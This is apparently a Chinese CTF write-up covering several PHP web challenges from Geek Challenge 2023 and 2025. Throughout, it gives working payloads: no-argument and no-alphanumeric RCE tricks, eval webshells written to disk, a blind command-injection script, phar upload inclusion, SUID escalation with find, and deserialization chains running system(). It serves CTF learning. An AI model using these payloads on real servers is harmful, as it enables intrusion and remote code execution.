\u8fd4\u56de\u6240\u6709\u5df2\u5b9a\u4e49\u53d8\u91cf\u7684\u503c\uff0c\u6240\u7ec4\u6210\u7684\u6570\u7ec4<\/p>\n\n\n\n
\u8fd4\u56de\u6570\u7ec4\u987a\u5e8f\u4e3aGET->POST->COOKIE->FILES<\/p>\n\n\n\n
print_r(get_defined_vars());<\/pre>\n\n\n\n
\u5982\u8bf4\u539f\u672c\u53ea\u6709\u4e00\u4e2a\u53c2\u6570a\uff0c\u90a3\u4e48\u53ef\u4ee5\u591a\u52a0\u4e00\u4e2a\u53c2\u6570b\uff0c\u540e\u9762\u5199\u5165\u6076\u610f\u8bed\u53e5\uff0cpayload\uff1a<\/p>\n\n\n\n
a=eval(end(current(get_defined_vars())));&b=phpinfo(); \u8f93\u51faphpinfo()\u547d\u4ee4<\/pre>\n\n\n\n
session_id<\/strong><\/h5>\n\n\n\n
\u4eceCookie\u4e0b\u624b<\/p>\n\n\n\n
\u9996\u5148\u6211\u4eec\u9700\u8981\u5f00\u542fsession_start()<\/code>\u6765\u4fdd\u8bc1session_id()\u7684\u4f7f\u7528\uff0csession_id<\/code>\u53ef\u4ee5\u7528\u6765\u83b7\u53d6\u5f53\u524d\u4f1a\u8bddID\uff0c\u4e5f\u5c31\u662f\u8bf4\u5b83\u53ef\u4ee5\u6293\u53d6PHPSESSID\u540e\u9762\u7684\u4e1c\u897f\uff0c\u4f46\u662fphpsession\u4e0d\u5141\u8bb8()\u51fa\u73b0<\/p>\n\n\n\n
\u6cd5\u4e00\uff1ahex2bin\uff08\uff09<\/h5>\n\n\n\n
\u6211\u4eec\u81ea\u5df1\u624b\u52a8\u5bf9\u547d\u4ee4\u8fdb\u884c\u5341\u516d\u8fdb\u5236\u7f16\u7801\uff0c\u540e\u9762\u5728\u7528\u51fd\u6570hex2bin()\u89e3\u7801\u8f6c\u56de\u53bb\uff0c\u4f7f\u5f97\u540e\u7aef\u5b9e\u9645\u63a5\u6536\u5230\u7684\u662f\u6076\u610f\u4ee3\u7801\u3002\u6211\u4eec\u628a\u60f3\u8981\u6267\u884c\u7684\u547d\u4ee4\u8fdb\u884c\u5341\u516d\u8fdb\u5236\u7f16\u7801\u540e\uff0c\u66ff\u6362\u6389\u2018Cookie:PHPSESSID=\u2019\u540e\u9762\u7684\u503c<\/p>\n\n\n\n
<?php
$encoded = bin2hex(\"phpinfo();\");
echo $encoded;
?><\/pre>\n\n\n\n
\u5f97\u5230phpinfo();\u7684\u5341\u516d\u8fdb\u5236\u7f16\u7801\uff0c\u5373706870696e666f28293b<\/p>\n\n\n\n
?\u53c2\u6570=eval(hex2bin(session_id(session_start())));\u540c\u65f6\u66f4\u6539cookie\u540e\u7684\u503c\u4e3a\u60f3\u6267\u884c\u7684\u547d\u4ee4\u7684\u5341\u516d\u8fdb\u5236\u7f16\u7801<\/pre>\n\n\n\n
\u6cd5\u4e8c\uff1a[\u8bfb\u6587\u4ef6]<\/h5>\n\n\n\n
\u5982\u679c\u5df2\u77e5\u6587\u4ef6\u540d\uff0c\u628a\u6587\u4ef6\u540d\u5199\u5728PHPSESSID\u540e\u9762\uff0c\u6784\u9020payload\u4e3a\uff1a<\/p>\n\n\n\n
readfile(session_id(session_start())); 
Cookie:PHPSESSID=canshu.php<\/pre>\n\n\n\n
getallheaders()<\/h5>\n\n\n\n
getallheaders()\u8fd4\u56de\u5f53\u524d\u8bf7\u6c42\u7684\u6240\u6709\u8bf7\u6c42\u5934\u4fe1\u606f\uff0c\u5c40\u9650\u4e8eApache\uff08apache_request_headers()\u548cgetallheaders()\u529f\u80fd\u76f8\u4f3c\uff0c\u53ef\u4e92\u76f8\u66ff\u4ee3\uff0c\u4e0d\u8fc7\u4e5f\u662f\u5c40\u9650\u4e8eApache\uff09<\/p>\n\n\n\n
\u5f53\u786e\u5b9a\u80fd\u591f\u8fd4\u56de\u65f6\uff0c\u6211\u4eec\u5c31\u80fd\u5728\u6570\u636e\u5305\u6700\u540e\u4e00\u884c\u52a0\u4e0a\u4e00\u4e2a\u8bf7\u6c42\u5934\uff0c\u5199\u5165\u6076\u610f\u4ee3\u7801\uff0c\u518d\u7528end()\u51fd\u6570\u6307\u5411\u6700\u540e\u4e00\u4e2a\u8bf7\u6c42\u5934\uff0c\u4f7f\u5176\u6267\u884c\uff0cpayload\uff1a<\/p>\n\n\n\n
var_dump(end(getallheaders()));<\/pre>\n\n\n\n
\u9700\u8981\u81ea\u5df1\u6dfb\u52a0\u7684\u8bf7\u6c42\u5934\uff0c end()\u6307\u5411\u6700\u540e\u4e00\u884c\u7684\u503c\uff0c\u8fbe\u5230phpinfo\u7684\u76ee\u7684\uff0c\u7136\u540e\u53ef\u4ee5\u8fdb\u4e00\u6b65\u53bbrce\u3002<\/pre>\n\n\n\n
chdir()&array_rand()\u8d4c\u72d7\u8bfb\u6587\u4ef6<\/h5>\n\n\n\n
\u5229\u7528getcwd()\u83b7\u53d6\u5f53\u524d\u76ee\u5f55\uff1a
\u200b
var_dump(getcwd());
\u7ed3\u5408dirname()\u5217\u51fa\u5f53\u524d\u5de5\u4f5c\u76ee\u5f55\u7684\u7236\u76ee\u5f55\u4e2d\u7684\u6240\u6709\u6587\u4ef6\u548c\u76ee\u5f55:
\u200b
var_dump(scandir(dirname(getcwd())));
 \u8bfb\u4e0a\u4e00\u7ea7\u6587\u4ef6\u540d\uff1a
show_source(array_rand(array_flip(scandir(dirname(chdir(dirname(getcwd())))))));
show_source(array_rand(array_flip(scandir(chr(ord(hebrevc(crypt(chdir(next(scandir(getcwd())))))))))));
show_source(array_rand(array_flip(scandir(chr(ord(hebrevc(crypt(chdir(next(scandir(chr(ord(hebrevc(crypt(phpversion())))))))))))))));
\u200b
\u8bfb\u6839\u76ee\u5f55:
\u200b
ord() \u51fd\u6570\u548c chr() \u51fd\u6570\uff1a\u53ea\u80fd\u5bf9\u7b2c\u4e00\u4e2a\u5b57\u7b26\u8fdb\u884c\u8f6c\u7801\uff0cord() \u7f16\u7801\uff0cchr)\u89e3\u7801\uff0c\u6709\u6982\u7387\u4f1a\u89e3\u7801\u51fa\u659c\u6760\u8bfb\u53d6\u6839\u76ee\u5f55
\u200b
print_r(scandir(chr(ord(strrev(crypt(serialize(array())))))));
\u200b
\u8981\u7528chdir()\u56fa\u5b9a\uff0cpayload\uff1a
\u200b
 show_source(array_rand(array_flip(scandir(dirname(chdir(chr(ord(strrev(crypt(serialize(array() )))))))))));<\/pre>\n\n\n\n
import requests
import string
import time
url = 'http:\/\/127.0.0.1\/1.php?star='
dic = string.printable[:-6]
flag = ''
for i in range(1, 50):
judge = 0
for j in dic:
now = f'{url}a=$(cat \/flag | head -1 | cut -b {i});if [ $a = {j}
];then sleep 2;fi'
start = time.time()
r = requests.get(now)
end = time.time()
if int(end) - int(start) > 1:
judge = 1
flag += j
print(flag)
break
if judge == 0:
break
print(flag)<\/pre>\n\n\n\n
\u96e8<\/h2>\n\n\n\n
\u4e4b\u540e\u8865\u5145<\/p>\n\n\n\n
\u6781\u5ba2\u5927\u6311\u62182023-web-famale_imp_l0ve<\/h2>\n\n\n\n
\u53ea\u80fd\u4e0a\u4f20.zip<\/code><\/p>\n\n\n\n
\u67e5\u770b\u6e90\u7801\uff0c\u53d1\u73b0\u4e00\u4e2a\u5305\u542b\u529f\u80fd\u7684\u6587\u4ef6\/include.php<\/code><\/p>\n\n\n\n
<?php
\/\/o2takuXX\u5e08\u5085\u8bf4\u6709\u95ee\u9898\uff0c\u5fd8\u770b\u4e86\u3002
header('Content-Type: text\/html; charset=utf-8');
highlight_file(__FILE__);
$file = $_GET['file'];
if(isset($file) && strtolower(substr($file, -4)) == \".jpg\"){
    include($file);
}
?><\/pre>\n\n\n\n
\u901a\u8fc7php\u4f2a\u534f\u8bae\u8bbf\u95ee\u4e0a\u4f20\u7684zip\u6587\u4ef6\uff0c\u4f7f\u7528phar:\/\/<\/code>\u534f\u8bae\u3002phar:\/\/<\/code>\u534f\u8bae\u53ef\u4ee5\u8bfb\u53d6\u4efb\u610f\u540e\u7f00\u538b\u7f29\u5305\u4e2d\u7684\u5185\u5bb9\uff0c\u5982.zip<\/code>\u3002<\/p>\n\n\n\n
\u5148\u4e0a\u4f20\u4e00\u4e2a1.zip\u6587\u4ef6\uff0c\u5176\u4e2d\u5305\u542b\u4e00\u53e5\u8bdd\u9a6c\uff0c\u9a6c\u6587\u4ef6\u540e\u7f00\u662f.jpg\u3002
GET:
\/include.php?file=phar:\/\/\/var\/www\/upload\/1.zip\/1.jpg
\u200b
POST:
cmd=system('tac \/flag');<\/pre>\n\n\n\n
\u6781\u5ba2\u5927\u6311\u62182023-web-EzRce<\/h2>\n\n\n\n
<?php
include('waf.php');
session_start();
show_source(__FILE__);
error_reporting(0);
$data=$_GET['data'];
if(waf($data)){
    eval($data);
}else{
    echo \"no!\";
}
?><\/pre>\n\n\n\n
\u8c8c\u4f3c\u8fc7\u6ee4\u5355\u4e2a\u5b57\u7b26\u548c\u6570\u5b57\uff0c\u90a3\u5c31\u65e0\u5b57\u6bcdRCE\u3002\uff08\u591a\u8bd5\u8bd5\u5c31\u77e5\u9053\u4e86\uff09<\/p>\n\n\n\n
\u4f7f\u7528\u5f02\u6216\u5c31\u51fa\u6765\u4e86<\/p>\n\n\n\n
?data=(\"%0f%08%0f%09%0e%06%0f\"^\"%7f%60%7f%60%60%60%60\")()%3B phpinfo()
\u8bfb\u53d6waf\u6587\u4ef6highlight_file('waf.php')
(\"%08%09%07%08%0c%09%07%08%0b%01%06%09%0c%05\"^\"%60%60%60%60%60%60%60%60%7f%5e%60%60%60%60\")(\"%08%01%06%01%0f%08%0f\"^\"%7f%60%60%2f%7f%60%7f\")%3B<\/pre>\n\n\n\n
function waf($data){ 
    if(preg_match('\/[b-df-km-uw-z0-9\\+\\~\\{\\}]+\/i',$data)){
        return False;
    }else{
        return True;
    }
}<\/pre>\n\n\n\n
\u5229\u7528p\u795e\u7684\u4e00\u4e9b\u4e0d\u5305\u542b\u6570\u5b57\u548c\u5b57\u6bcd\u7684webshell | \u79bb\u522b\u6b4c (leavesongs.com)<\/a><\/p>\n\n\n\n
<?php
$__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']'); \/\/ $__='_POST';
$___=$$__;
eval($___[_]); \/\/ eval($_POST[_]);<\/pre>\n\n\n\n
payload:
?data=$__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']')%3B$___=$$__%3Beval($___[_])%3B
POST:_=phpinfo()%3B
_=_=file_put_contents('1.php','<?=eval($_POST[1]);?>')%3B \u5199\u4e0a\u53bb\u5c0f\ud83d\udc0e<\/pre>\n\n\n\n
\u7136\u540e\u53d1\u73b0\u6253\u5f00\/flag\u6587\u4ef6\u662f\u7a7a\u7684\uff0c\u5e94\u8be5\u662f\u6ca1\u6709\u6743\u9650\uff0c\u5728\u7f51\u4e0a\u53d1\u73b0\u662fsuid\u63d0\u6743<\/p>\n\n\n\n
\u7ea2\u961f\u7b14\u8bb0\u4e4bSuid\u63d0\u6743\u6d45\u6790\u4e0e\u5229\u7528\u65b9\u6cd5\u603b\u7ed3_suid\u63d0\u6743\u3001-CSDN\u535a\u5ba2<\/a><\/p>\n\n\n\n
find \/ -user root -perm -4000 -print 2>\/dev\/null
\u67e5\u770b\u6709\u6ca1\u6709\u4ec0\u4e48\u53ef\u4ee5\u8ba9\u6211\u63d0\u5347\u6743\u9650\u7684\ud83d\ude0d \u53d1\u73b0\u6709find
touch\u4e00\u4e2a\u6587\u4ef61
find 1 -exec cat \/flag \\;\u51fa\u6765flag
\u62ff\u5230flag\uff0c\u8bb0\u5f97\u628a\u7a7a\u683c\u8f6c\u6362\u4e3a\u4e0b\u5212\u7ebf<\/pre>\n\n\n\n
\u6781\u5ba2\u5927\u6311\u62182023-web-ez_php<\/h2>\n\n\n\n
\u6211\u7684\u5973\u795e\u5462\uff1f\u5feb\u5e2e\u6211\u627e\u627e<\/pre>\n\n\n\n
\u4eca\u5929\u662f5.20\u65e5\uff0c\u591a\u4e48\u7f8e\u597d\u7684\u8282\u65e5\uff0c\u6211\u51b3\u5b9a\u4e86\uff0c\u6211\u8981\u5411\u4f60\u8868\u8fbe\u5fc3\u610f\uff0c\u53ef\u4f60\u4e00\u76f4\u4e0d\u56de\u6211\u6d88\u606f\uff0c\u6211\u627e\u4e0d\u5230\u4f60\u4e86\uff0c\u770b\u89c1\u8fd9\u6761\u7684bro\u53ef\u4ee5\u5e2e\u6211\u627e\u5230\u5979\u5417\uff0c\u6211\u628a\u79d8\u5bc6\u85cf\u5728\u4e00\u4e2a\u9875\u9762\u91cc\u9762\u4e86\uff0c\u6211\u5148\u53bb\u51c6\u5907\u7ed9\u5979\u7684\u60ca\u559c\u4e86\uff0c\u8bf7\u4f60\u5e2e\u6211\u5148\u627e\u627e\u5979\uff0c\u627e\u5230\u5c31\u7ed9\u4f60flag\u5662
\u597d\u5144\u5f1f\u5feb\u6765\u5e2e\u6211\u627e
\u70b9\u8fdb\u53bb<\/pre>\n\n\n\n
<?php
header(\"Content-type:text\/html;charset=utf-8\"); 
error_reporting(0);
show_source(__FILE__);
include('key.php');
include('waf.php');
\u200b
class Me {
    public $qwe;
    public $bro;
    public $secret;
\u200b
    public function __wakeup() {
        echo(\"\u8fdb\u6765\u5566<br>\");
        $characters = 'abcdefghijklmnopqrstuvwxyz0123456789';
        $randomString = substr(str_shuffle($characters), 0, 6);
        $this->secret=$randomString;
\u200b
        if($this->bro===$this->secret){
        $bb = $this->qwe;        
        return $bb();
        }
        
        else{
            echo(\"\u9519\u4e86\u54e5\u4eec,\u518d\u8bd5\u8bd5\u5427<br>\");
        }
    }
\u200b
}
\u200b
class her{
    private $hername;
    private $key;
    public $asd;
    public function __invoke() {
        echo(\"\u597d\u7d2f\uff0c\u597d\u60f3\u7761\u4e00\u89c9\u554a<br>\");
        serialize($this->asd);
    }
\u200b
    public function find() {
        echo(\"\u4f60\u80fd\u627e\u5230\u52a0\u5bc6\u7528\u7684key\u548c\u5979\u7684\u540d\u5b57\u5417\uff1fqwq<br>\");
        if (encode($this->hername,$this->key) === 'vxvx') {
            echo(\"\u89e3\u5bc6\u6210\u529f\uff01<br>\");
            $file=$_GET['file'];
\u200b
            if (isset($file) && (file_get_contents($file,'r') === \"loveyou\"))
            {
                echo(\"\u5feb\u70b9\u7684\uff0c\u6025\u6025\u6025\uff01\uff01\uff01<br>\");
                echo new $_POST['ctf']($_GET['fun']);
            }
            else{
                echo(\"\u771f\u7684\u53ea\u5dee\u4e00\u6b65\u4e86\uff01<br>\");
            }
        }
        else{
            echo(\"\u5144\u5f1f\u600e\u4e48\u641e\u7684\uff1f<br>\");
        }
    }
}
\u200b
class important{
    public $power;
\u200b
    public function __sleep() {
        echo(\"\u7761\u9971\u4e86\uff0c\u63a5\u7740\u627e\uff01<br>\");
        return $this->power->seeyou;
    }
}
\u200b
class useless {
    private $seeyou;
    public $QW;
    public $YXX;
\u200b
    public function __construct($seeyou) {
        $this->seeyou = $seeyou;
    }
\u200b
    public function __destruct() {
        $characters = '0123456789';
        $random = substr(str_shuffle($characters), 0, 6);
\u200b
        if (!preg_match('\/key\\.php\\\/*$\/i', $_SERVER['REQUEST_URI'])){
            if((strlen($this->QW))<80 && strlen($this->YXX)<80){
                $bool=!is_array($this->QW)&&!is_array($this->YXX)&&(md5($this->QW) === md5($this->YXX)) && ($this->QW != $this->YXX) and $random==='newbee';
                if($bool){
                echo(\"\u5feb\u62ff\u5230\u6211\u7684\u5c0f\u79d8\u5bc6\u4e86<br>\");
                    $a = isset($_GET['a'])? $_GET['a']: \"\" ;
\u200b
                    if(!preg_match('\/HTTP\/i', $a)){
                        echo (basename($_SERVER[$a]));
                        echo ('<br>');
\u200b
                        if(basename($_SERVER[$a])==='key.php'){
                            echo(\"\u627e\u5230\u4e86\uff01\u4f46\u597d\u50cf\u4e0d\u80fd\u76f4\u63a5\u4f7f\u7528\uff0c\u600e\u4e48\u529e\uff0c\u6211\u597d\u60f3\u5979<br>\");
                            $file = \"key.php\";
                            readfile($file);
                        }
                    }
                    else{
                        echo(\"\u4f60\u522b\u8fd9\u6837\uff0c\u5979\u4f1a\u751f\u6c14\u7684\u252d\u252e\ufe4f\u252d\u252e\");
                    }
                }
            }
            else{
                echo(\"\u5c31\u8fd9\u70b9\u80fd\u8010\uff1f\u600e\u4e48\u5e2e\u6211\u627e\u5230\u5979(\u2565\u256f^\u2570\u2565)<br>\");
            }
        }
    }
    public function __get($good) {
        echo \"you are good,\u4f60\u5feb\u627e\u5230\u6211\u7231\u7684\u90a3\u4e2a\u5979\u4e86<br>\";
        $zhui = $this->$good;  
        $zhui[$good]();  
    }
}
\u200b
if (isset($_GET['user'])) {
    $user = $_GET['user'];
    if (!preg_match(\"\/^[Oa]:[\\d]+\/i\", $user)) {
        unserialize($user);
    }
    else {
        echo(\"\u4e0d\u662f\u5427\uff0c\u7b2c\u4e00\u5c42\u90fd\u7ed5\u4e0d\u8fc7\u53bb\uff1f\uff1f\uff1f<br>\");
    }
}
else {
    echo(\"\u5feb\u5e2e\u6211\u627e\u627e\u5979\uff01<br>\");
}
?>  \u5feb\u5e2e\u6211\u627e\u627e\u5979\uff01<\/pre>\n\n\n\n
if (isset($_GET['user'])) {
    $user = $_GET['user'];
    if (!preg_match(\"\/^[Oa]:[\\d]+\/i\", $user)) {
        unserialize($user);
    }
    else {
        echo(\"\u4e0d\u662f\u5427\uff0c\u7b2c\u4e00\u5c42\u90fd\u7ed5\u4e0d\u8fc7\u53bb\uff1f\uff1f\uff1f<br>\");
    }
}
else {
    echo(\"\u5feb\u5e2e\u6211\u627e\u627e\u5979\uff01<br>\");
}
\u5148\u770b\u6700\u540e\u7684\uff1a\u53d1\u73b0\u6709\u6b63\u5219\u5339\u914d\uff1a\u53c2\u8003\u7ed5\u8fc7Oa:\\d\u7684\u6b63\u5219\uff0c\u4f7f\u7528C\u5c5e\u6027<\/pre>\n\n\n\n
\u7136\u540e\u5c31\u5f00\u59cb\u770bpop\u94fe\u5b50\u4e86
Me::__wakeup()->her::__invoke()->important::__sleep()->useless::__get($good)->her::find()->useless::__destruct()<\/pre>\n\n\n\n
\u4e4b\u540e\u8865\u4e0a\u5427<\/p>\n\n\n\n
<\/p>\n\n\n\n
<\/p>\n\n\n\n
2025web<\/h1>\n\n\n\n
\u8fd9\u8fb9\u52a0\u4e0a\u4e00\u624b\u5b98\u65b9wp<\/p>\n\n\n\n
\u200c\u200c\u202c\u200d\u200c\u200d\u2060\u200d\u200c\ufeff\u200c\u202c\ufeff\u2060\u200d\ufeff\u2060\ufeff\ufeff\ufeff\ufeff\u200c\ufeff\u202c\u200d\u202c\u2060\u200c\u200c\u7b2c\u5341\u516d\u5c4a\u6781\u5ba2\u5927\u6311\u6218\u5b98\u65b9 Writeup – \u98de\u4e66\u4e91\u6587\u6863<\/a><\/p>\n\n\n\n
week1<\/h2>\n\n\n\n
\u963f\u57fa\u91cc\u65af\u8ffd\u4e4c\u9f9f<\/h3>\n\n\n\n
\u6293\u5305\u5728\u91cc\u9762\u53d1\u73b0<\/p>\n\n\n\n
{\"data\":\"eyJhY2hpbGxlc19kaXN0YW5jZSI6MTEwMDAwMDAwMDAsInRvcnRvaXNlX2Rpc3RhbmNlIjoxMTEwMDAwMDAwMH0=\"}<\/pre>\n\n\n\n
\u662f\u8fd9\u6837\u7684\uff0c\u7136\u540e\u6539\u4e00\u4e0b\u8ba9\u963f\u57fa\u91cc\u65af\u5927\u4e8e\u4e4c\u9f9f\u5c31ok\u4e86<\/p>\n\n\n\n
popself<\/h3>\n\n\n\n
\u6709\u540c\u5b66\u8ddf\u6211\u8bf4\u4ed6\u53ea\u4f1a\u505a\u4e00\u4e2a\u7c7b\u7684php\u53cd\u5e8f\u5217\u5316\u9898\uff0c\u90a3\u6765\u8bd5\u8bd5\u770b<\/p>\n\n\n\n
<?php
show_source(__FILE__);
\u200b
error_reporting(0);
class All_in_one
{
    public $KiraKiraAyu;
    public $_4ak5ra;
    public $K4per;
    public $Sams\u0101ra;
    public $komiko;
    public $Fox;
    public $Eureka;
    public $QYQS;
    public $sleep3r;
    public $ivory;
    public $L;
\u200b
    public function __set($name, $value){
        echo \"\u4ed6\u8fd8\u662f\u6ca1\u6709\u5fd8\u8bb0\u90a3\u4e2a\".$value.\"<br>\";
        echo \"\u6536\u96c6\u590f\u65e5\u7684\u788e\u7247\u5427<br>\";
\u200b
        $fox = $this->Fox;
\u200b
        if ( !($fox instanceof All_in_one) && $fox()===\"summer\"){
            echo \"QYQS enjoy summer<br>\";
            echo \"\u5f00\u542f\u5faa\u73af\u5427<br>\";
            $komiko = $this->komiko;
            $komiko->Eureka($this->L, $this->sleep3r);
        }
    }
\u200b
    public function __invoke(){
        echo \"\u606d\u559c\u6210\u529fsignin!<br>\";
        echo \"welcome to Geek_Challenge2025!<br>\";
        $f = $this->Sams\u0101ra;
        $arg = $this->ivory;
        $f($arg);
    }
    public function __destruct(){
\u200b
        echo \"\u4f60\u80fd\u8ba9K4per\u548cKiraKiraAyu\u7ec4\u6210\u4e00\u961f\u5417<br>\";
\u200b
        if (is_string($this->KiraKiraAyu) && is_string($this->K4per)) {
            if (md5(md5($this->KiraKiraAyu))===md5($this->K4per)){
                die(\"boys\u548c\u800c\u4e0d\u540c<br>\");
            }
\u200b
            if(md5(md5($this->KiraKiraAyu))==md5($this->K4per)){
                echo \"BOY\u2642 sign GEEK<br>\";
                echo \"\u5f00\u542f\u5faa\u73af\u5427<br>\";
                $this->QYQS->partner = \"summer\";
            }
            else {
                echo \"BOY\u2642 can`t sign GEEK<br>\";
                echo md5(md5($this->KiraKiraAyu)).\"<br>\";
                echo md5($this->K4per).\"<br>\";
            }
        }
        else{
            die(\"boys\u5802\u5802\u6b63\u6b63\");
        }
    }
\u200b
    public function __tostring(){
        echo \"\u518d\u8d70\u4e00\u6b65...<br>\";
        $a = $this->_4ak5ra;
        $a();
    }
\u200b
    public function __call($method, $args){        
        if (strlen($args[0])<4 && ($args[0]+1)>10000){
            echo \"\u518d\u8d70\u4e00\u6b65<br>\";
            echo $args[1];
        }
        else{
            echo \"\u4f60\u8981\u52aa\u529b\u8fdb\u7a84\u95e8<br>\";
        }
    }
}
class summer {
    public static function find_myself(){
        return \"summer\";
    }
}
$payload = $_GET[\"24_SYC.zip\"];
\u200b
if (isset($payload)) {
    unserialize($payload);
} else {
    echo \"\u6ca1\u6709\u5927\u5bb6\u7684\u538b\u7f29\u5305\u7684\u8bdd\uff0c\u74e6\u8fbe\u897f\uff01<br>\";
}
?><\/pre>\n\n\n\n
\u8fd9\u91cc\u4f7f\u7528\u5230\u4e86php\u91cc\u9762md5\u7684\u4e00\u4e2a\u5c0f\u7279\u6027(\u611f\u89c9php)\u5904\u7406 “\u6570\u5b57e\u6570\u5b57” \u8fd9\u6837\u7684\u5b57\u7b26\u4e32\u65f6\u4f1a\u8ba4\u4e3a\u662f\u79d1\u5b66\u8ba1\u6570\u6cd5<\/p>\n\n\n\n
md5(\"0e123\") == md5(0) \/\/true
md5(\"0e123\") == md5(\"0e456\") \/\/true<\/pre>\n\n\n\n
\u5176\u4e2d<\/p>\n\n\n\n
(md5(md5($this->KiraKiraAyu))==md5($this->K4per<\/pre>\n\n\n\n
import hashlib
import itertools
import string
\u200b
def md5(s: str) -> str:
    return hashlib.md5(s.encode()).hexdigest()
\u200b
def is_magic_hash(h: str) -> bool:
    # \u68c0\u67e5\u662f\u5426\u7b26\u5408 0e\\d+ \u683c\u5f0f
    return h.startswith(\"0e\") and h[2:].isdigit()
\u200b
def search():
    chars = string.ascii_letters + string.digits
    for length in range(1, 6):  # \u5148\u5c1d\u8bd5\u957f\u5ea6 1-5
        for s in itertools.product(chars, repeat=length):
            s = \"\".join(s)
            h1 = md5(s)
            h2 = md5(h1)
            if is_magic_hash(h2):
                print(f\"[FOUND] {s} -> md5(md5(s)) = {h2}\")
                return
    print(\"\u6ca1\u627e\u5230\u7b26\u5408\u6761\u4ef6\u7684\u5b57\u7b26\u4e32\uff08\u81f3\u5c11\u5728\u6d4b\u8bd5\u8303\u56f4\u5185\uff09\u3002\")
\u200b
if __name__ == \"__main__\":
    search()<\/pre>\n\n\n\n
\u8dd1\u51fa\u6765\u662ff2WfQ\u662f\u53cc\u91cd MD5 \u54c8\u5e0c\u503c\u4e3a Magic Hash\uff08\u9b54\u672f\u54c8\u5e0c\uff09\u201d \u7684\u5b57\u7b26\u4e32<\/strong><\/p>\n\n\n\n
strlen($args[0])<4 && ($args[0]+1)>10000<\/pre>\n\n\n\n
\u7136\u540e\u8fd8\u6709\u4e00\u4e2a\u8fd9\u4e2a\uff0c\u540c\u6837\u662f\u5229\u7528\u4e86\u6570\u503c\u5b57\u7b26\u4e32\u7684\u7279\u6027\uff0c\u5f53\u6211\u4eec\u4f20\u7684\u662f3e4\u662f\uff0c\u4f1a\u62ff3\u4e0e4\u4f5c\u6bd4\u8f83\uff0c\u7136\u540e\u540e\u9762\u662f3*10^4+1>10000\u4f7f\u5176\u6210\u7acb<\/p>\n\n\n\n
<?php
\u200b
class All_in_one
{
    public $KiraKiraAyu;
    public $_4ak5ra;
    public $K4per;
    public $Sams\u0101ra;
    public $komiko;
    public $Fox;
    public $Eureka;
    public $QYQS;
    public $sleep3r;
    public $ivory=\"zzz\";
    public $L;
}
\u200b
class summer {
    public static function find_myself(){
        return \"summer\";
    }
}
\u200b
$a = new All_in_one();
$a->KiraKiraAyu = \"f2WfQ\";
$a->K4per = \"QNKCDZO\";
$a->QYQS = new All_in_one();
$a->QYQS->Fox=[\"summer\",\"find_myself\"];
$a->QYQS->L = \"2e4\";
\u200b
$a->QYQS->komiko = new All_in_one();
$a->QYQS->sleep3r = new All_in_one();
\u200b
$a->QYQS->sleep3r->_4ak5ra = new All_in_one();
$a->QYQS->sleep3r->_4ak5ra->ivory = \"env\";
$a->QYQS->sleep3r->_4ak5ra->Sams\u0101ra = \"system\";
\u200b
echo urlencode(serialize($a));
\u200b
?><\/pre>\n\n\n\n
\u8fd9\u4e2a\u9b54\u672f\u65b9\u6cd5\u5148\u53bb\u89e6\u53d1__destruct()\uff0c\u7136\u540e\u901a\u8fc7QYQS->partner\u53bb\u89e6\u53d1set\uff0c\u5e76\u4e14$a->QYQS->Fox=[“summer”,”find_myself”];\u8ba9\u4ed6\u53bb\u8fd4\u56de<\/p>\n\n\n\n
summer\u4f1a\u8c03\u7528$komiko->Eureka($this->L, $this->sleep3r)\u7136\u540e\u89e6\u53d1_call ()\u8fd9\u4e2a\u9b54\u672f\u65b9\u6cd5\u4e4b\u540eecho $args[1];\u53bb\u89e6\u53d1tostring\u8fd9\u4e2a\u9b54\u672f\u65b9\u6cd5$a->QYQS->sleep3r-><\/em>4ak5ra = new All_in_one();->_toString()<\/code>\u89c4\u5219\u4f1a\u8c03\u7528_4ak5ra()<\/code>\uff08\u628a_4ak5ra \u76d2\u5b50\u5f53\u6210\u51fd\u6570\u7528\uff09\uff0c\u89e6\u53d1__invoke()<\/code>\u89c4\u5219\u7136\u540e\u53bb\u6267\u884c$f($arg)\u89e6\u53d1\u547d\u4ee4system(‘env’);\u62ff\u4e0bflag\uff08\u5b98\u65b9\u5389\u5bb3\uff09<\/p>\n\n\n\n
one_last_image<\/h3>\n\n\n\n
\u4ed6\u5e76\u6ca1\u6709\u53bb\u8fc7\u6ee4php\uff0c\u4e0d\u8fc7\u600e\u4e48\u53bb\u6267\u884c\u547d\u4ee4\u6210\u4e86\u95ee\u9898\uff0c\u4ee5\u5b57\u7b26\u4e32\u7684\u5f62\u5f0f\u8fc7\u6ee4\u4e86\u5e38\u89c1\u7684php\u6807\u7b7e\u4ee5\u53ca\u547d\u4ee4\u6267\u884c\u51fd\u6570<\/p>\n\n\n\n
\u4f7f\u7528\u77ed\u6807\u7b7e\u7ed5\u8fc7<\/p>\n\n\n\n
Content-Disposition: form-data; name=\"image\"; filename=\"1.php\"
Content-Type: image\/jpeg
\u200b
<?=`env`;
<?=('sys'.'tem')('env');\/\/\u6bcf\u4e00\u4e2a\u90fd\u884c<\/pre>\n\n\n\n
Vibe SEO<\/h3>\n\n\n\n
“\u6211\u8ba9 AI \u5e2e\u6211\u505a\u4e86\u641c\u7d22\u5f15\u64ce\u4f18\u5316\uff0c\u5b83\u597d\u50cf\u8bf4\u4ec0\u4e48\u300e\u641c\u7d22\u5f15\u64ce\u559c\u6b22\u7ed3\u6784\u5316\u7684\u7ad9\u70b9\u5730\u56fe\u300f\uff0c\u867d\u7136\u4e0d\u662f\u5f88\u61c2\u5c31\u662f\u4e86”<\/p>\n\n\n\n
\u8fd9\u4e2a\u5f00\u573a\u5c31\u662f\u597d\u770b\u54c8\uff0csitemap.xml<\/code> \u662f\u6700\u5e38\u7528\u7684\u7ed3\u6784\u5316\u7ad9\u70b9\u5730\u56fe\u6587\u4ef6<\/strong><\/p>\n\n\n\n
<urlset xmlns=\"http:\/\/www.sitemaps.org\/schemas\/sitemap\/0.9\">
<script\/>
<url>
<loc>http:\/\/localhost\/<\/loc>
<changefreq>weekly<\/changefreq>
<\/url>
<url>
<loc>http:\/\/localhost\/aa__^^.php<\/loc>
<changefreq>never<\/changefreq>
<\/url>
<\/urlset><\/pre>\n\n\n\n
\u76f4\u63a5\u53bb\u8bbf\u95eeaa__^^.php<\/p>\n\n\n\n
Warning: Undefined array key \"filename\" in \/var\/www\/html\/aa__^^.php on line 3
\u200b
Deprecated: strlen(): Passing null to parameter #1 ($string) of type string is deprecated in \/var\/www\/html\/aa__^^.php on line 3
\u200b
Warning: Undefined array key \"filename\" in \/var\/www\/html\/aa__^^.php on line 4
\u200b
